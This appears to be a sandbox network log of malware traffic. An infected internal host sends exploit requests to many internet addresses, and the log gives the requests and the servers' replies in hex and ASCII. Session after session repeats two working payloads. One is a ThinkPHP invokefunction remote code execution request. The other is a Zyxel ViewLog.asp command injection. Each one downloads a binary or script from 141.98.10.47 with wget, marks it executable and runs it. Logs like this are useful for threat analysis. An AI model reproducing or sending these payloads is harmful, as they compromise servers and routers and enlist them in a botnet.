Dec 26, 2023 21:23:53.899385929 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:53 GMT Date: Tue, 26 Dec 2023 20:23:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 63 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 33 36 32 32 32 33 33 26 23 34 36 3b 35 63 32 63 38 35 37 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.4c722c31.1703622233.5c2c857c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	53074	112.165.15.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:54.218269110 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:54.540014029 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Tue, 26 Dec 2023 20:23:56 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	58200	95.169.20.254	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:56.747445107 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:56.944279909 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Tue, 26 Dec 2023 20:23:56 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	59482	95.63.79.99	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:56.810426950 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:57.060516119 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:56 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	55478	95.168.209.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:56.811886072 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:57.064538002 CET	691	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:56 GMT Server: Apache/2.4.25 (Debian) X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Content-Length: 432 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6e 75 73 31 30 2e 76 61 73 2d 73 65 72 76 65 72 2e 63 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.25 (Debian) Server at nus10.vas-server.cz Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	51318	94.123.155.163	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:56.813390017 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	40060	112.163.147.186	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:56.891182899 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:57.232172012 CET	671	IN	Data Raw: 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 76 61 72 73 5b 31 5d 5b 5d 3d Data Ascii: hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 404 Not FoundServer: mini_httpd/1.19 19de

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	58490	112.72.11.39	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:56.915688038 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	35680	31.136.48.84	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:57.065459013 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:57.848171949 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:59.383886099 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:02.583442926 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:08.726669073 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:21.012828112 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:45.841361046 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:34.986444950 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	43026	62.2.48.166	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:57.077187061 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:57.343455076 CET	376	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15552000 location: https://192.168.0.14:8443/cgi-bin/ViewLog.asp Date: Tue, 26 Dec 2023 20:23:57 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	40084	112.163.147.186	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:57.562455893 CET	489	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 31 39 20 31 39 64 65 63 32 30 30 33 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 37 20 44 65 63 20 32 30 32 33 20 Data Ascii: (null) 400 Bad RequestServer: mini_httpd/1.19 19dec2003Date: Wed, 27 Dec 2023 05:23:56 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: close<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BOD

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	50064	95.212.144.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:57.761543989 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	46016	95.101.236.60	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:59.032777071 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:59.289892912 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:59 GMT Date: Tue, 26 Dec 2023 20:23:59 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 63 65 63 36 35 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 33 39 26 23 34 36 3b 34 62 31 66 65 36 61 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3cec655f.1703622239.4b1fe6a7</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	52388	95.128.114.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:59.036895990 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:59.300409079 CET	1286	IN	HTTP/1.1 200 OK Date: Tue, 26 Dec 2023 22:15:28 GMT Server: Apache/2.2.22 X-Powered-By: PHP/5.3.10-1ubuntu3.26 Vary: Accept-Encoding Content-Encoding: gzip Connection: close Content-Type: text/html;charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc 58 e1 52 dc 36 10 fe 0d 4f b1 71 67 a0 9d c1 e7 a3 24 99 e4 f0 5d da 40 32 c9 94 00 93 10 48 7f 75 74 f6 da 56 4e 96 1c 49 3e a0 d3 7f 7d 95 3e 49 fb 62 5d d9 3e 9f cd 1d 4c 48 9a 32 c3 20 cb da d5 ee b7 9f 3e ad 09 1f 1c 9e 1c 9c fd 7a fa 02 32 9b 0b 38 7d ff fc e8 f5 01 78 7e 10 5c ec 1d 04 c1 e1 d9 21 7c 78 75 f6 e6 08 76 07 43 38 d3 4c 1a 6e b9 92 4c 04 c1 8b 63 0f bc cc da 62 14 04 97 97 97 83 cb bd 81 d2 69 70 f6 36 b8 72 be 76 9d 71 33 f4 6d c7 72 10 db d8 9b 6c 86 d5 86 57 b9 90 66 bc c6 cd ee d3 a7 4f 6b 6b cf 2d 1a 09 26 d3 b1 87 d2 83 76 e4 7c 20 8b 27 9b 40 3f e1 03 df 07 1e a3 b4 3c e1 18 57 ab 4a 96 e2 18 25 24 5a e5 c0 a2 08 0b eb b7 f3 e0 fb 8d a5 e5 56 e0 e4 94 26 41 2a 0b 89 2a 65 0c 7f c0 4b a5 8d 81 0b 9c 1a d4 73 1e 21 fc fc 1c 7c 78 47 0f a8 63 cd 13 0b 2a ca 00 fd 42 19 1b 06 b5 93 da 61 8e 96 81 4b c9 c7 4f 25 9f 8f bd 03 25 2d 45 e6 db eb 02 3d 88 ea a7 b1 67 f1 ca 06 2e c5 fd 28 63 da a0 1d bf 3f 7b e9 3f f1 20 e8 3a 92 2c c7 b1 97 a2 44 cd ac d2 1d fb 3a c2 c6 39 bc 61 92 52 c8 dd f0 fb 0e 9e 89 5b 34 30 f8 c3 5a b7 31 9a 48 f3 c2 55 a6 e3 78 ed 52 56 da 6c cd f6 3d 80 d6 1a be 3d 79 7e 72 f6 ae 6b 78 72 74 74 72 b1 73 7c f2 fa f8 f0 c5 87 a5 8d e0 72 06 99 c6 64 ec 05 e6 da f8 31 d7 01 97 89 0a a8 2c 78 c5 8d 0d 88 43 38 88 8c f1 40 a3 18 7b c6 5e 0b 34 19 a2 f5 c0 61 db 40 5a 2d 20 a7 61 50 f3 23 9c aa f8 7a b2 b9 11 c6 7c 4e 1c 19 7b 2e 12 c6 09 50 e2 d0 c6 72 da ad 6e e6 36 42 d6 44 b2 06 4a da cc 55 7b 2d 02 b7 52 c4 9b 84 3c 4f c1 e8 e8 66 76 82 5d ab d2 06 42 a5 29 1b 7c 2c 52 0f 98 58 0f ef ed ce 29 dd 30 60 55 36 01 a5 d3 4b 2b 47 63 88 19 4d 5e 96 4d 1d 51 37 aa b1 ae 07 34 8a 9b d1 46 58 40 05 eb d8 4b 08 25 df f0 df 71 04 bb c3 61 71 b5 ef 4d 1e 0e 1f 86 41 b1 30 0a 5a 2b b2 5f 58 5d f2 d8 66 ce 82 0c c0 95 c3 67 82 a7 72 04 11 d5 1e f5 be d7 6e 74 37 1c c6 6a 8c 66 1d 3c aa 92 ae d9 f8 ce c0 1f d5 71 f7 0f 77 38 d5 0e 2f 53 30 b9 c6 e4 61 6d f2 8e c7 f4 3a e3 d6 12 29 0c 70 0a 3e 0c 9c c9 a4 42 00 d6 fc 2c e3 a2 51 0d 2d 0d 16 78 af 16 c6 a5 fb 5b 73 2a 9a ea f4 5e 09 4c dc 7c 58 50 ac 56 2b 99 4e ce 32 24 e6 7f 2a d1 58 d2 b8 c2 65 15 a9 52 c4 55 6e 53 6c d2 0b 9a d5 55 a0 64 7d 2a 90 19 04 ab af 81 a5 c4 7b 12 47 aa c4 0e 28 0d 73 4e 47 0a 72 37 e9 bc 8d 1a 68 6e 90 df 9b 34 03 c7 31 e7 75 a3 93 ce 8d a0 35 4f 